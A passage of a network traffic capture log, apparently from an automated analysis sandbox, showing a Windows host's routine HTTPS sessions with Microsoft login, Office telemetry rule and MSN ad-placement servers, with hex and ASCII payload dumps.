2024-11-27 10:14:16 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49719	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:17 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-27 10:14:17 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 10:14:18 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 10:13:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_SN1 x-ms-request-id: a3ef4e6b-f7ec-4ab9-9e32-08f74c897558 PPServer: PPV: 30 H: SN1PEPF0002FA74 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 10:14:17 GMT Connection: close Content-Length: 11177
2024-11-27 10:14:18 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49720	20.190.147.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:17 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-27 10:14:17 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 10:14:18 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 10:13:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: 81a8674d-e50d-4436-8111-31a47d69a248 PPServer: PPV: 30 H: PH1PEPF00018C04 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 10:14:17 GMT Connection: close Content-Length: 11177
2024-11-27 10:14:18 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101418Z-174f7845968nxc96hC1EWRspw80000000we0000000009cpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:19 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101418Z-174f7845968l4kp6hC1EWRe8840000000wxg00000000ayz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:19 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101418Z-174f7845968cdxdrhC1EWRg0en0000000wsg000000004dmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:19 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101418Z-174f7845968n2hr8hC1EWR9cag0000000wf0000000003ah2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:19 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:19 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101419Z-174f7845968kvnqxhC1EWRmf3g0000000fqg00000000087y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:19 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49721	20.74.19.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:19 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T101413Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6b4959b1f9494f1c9ebec893425386ae&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=603596&metered=false&nettype=ethernet&npid=sc-338388&oemName=ydtcub%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=ydtcub20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=603596&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAf31jDG0c2jM29H1fQUID9kNa0IirVtYSg8uvuty8gB0leO9hmSfy7HkSPyPkE58dtBSJWC1UUb2dzXWMnMOTNG899tzgv1ESWQv4DjsxLk5j+AMfa9GszTin7/pvWA8xE7h03AdlUqC+GQQE/3apIItYvq6ZU3V4sfjweuCvuPSGHIn2Ncpbv24OwoTl7VhiLKgyiKWA5f/7NoRTdakr6SajARrghrtrVs1dMl9SalB39xMfbR04sD9AdoVB9rQ/I70VTiEbppF7F5x7MEAghTxv1X3kG2mAaqCxwDDzmLTMptE3HdG3n+zMUZFnEG+TQux61OuaXrOK2qVpxaNXcoQZgAAEPb8B/Z/S7huD/1u8nglPzSwAbp1v4UxFGpPoN3Y7aTYnLaRvE8G3PsBbJJ7JvK5VUxkJ5YTqfuMBGvAlY8stfdA9ahF2bICFotQeTXnsg8txRL9upQA3KjeIrWsgcLVdZzTQS4KRy8mCvFUSHrJhqoxOxso56zerwGeW8BDDc45Fen3rokgo47cHPbxK9Cqx46L/7kxVZHtYvV9BIvO3Nmj3uhBsituYG4gyQudH94YDoN7/uRox0PtFO7OZY09S+4fttZ9YgBEIpNyLtj+hS2QmQCoZvuW0JIgoNR3MI+5JfuwwOybCIvPgBHmomJe7aROvNdNF4LzAke+EB9kJkKk3eAsw3EItYsnbdbUhUIKp3c2T5cwvLlvFXmd+owcab+3hAXcxR7dN6mtXRM0R/hKXKY6oXmjYVhmWQTeKbUFtCwzUvceRUUmdRpoNoEx8z0w7odBAC4TVMVd09jygvOm0+s25ErBIn5kLISGp2hcyK6xoGIYz9rK7sd2PqBp9Ym1b+Sp5tQolD7fUR3OqQRPMEA11hMIs49i224QciC0siXyF+u1DahaXM5O+sK3tzs0AzucOMdYJnUyCB8kXNyfG9cB&p= Cache-Control: no-cache MS-CV: 6wxuFIv5xEGgLuYt.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-27 10:14:19 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 2299 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: LHBzqM/sQAppQHT8ZtTNmqdtrgLvmG1FqtFHgitqoe6BoJsqjFin+Byp2cQApwN/Y3CDdQ+rj7yTpmus49VyC6MoHTCA/2CR++89UfH/1A6CtMKTgnE1FD2V7eLSQz4JSHKQSNvl/ZjHe3pq4eZIVNvk5R0x+lHQ+tQVZNsG4psvm0aK1q5vOUVtwvZSp/CUnOlfa83q8c+UeaESCze9CmA2exq699S10TPXRfoy8mzXiIcwPgNrrZSIgzp9P8z16g/aOhy00FmVgkmVDaGmgfcEduu/K01+rcywr5OfklwE5aG6MpeUT2uU2EJ+Hmie54+mQ3cMQ0ZYVjdl8nGqGQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 10:14:19 GMT Connection: close
2024-11-27 10:14:19 UTC	2299	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: 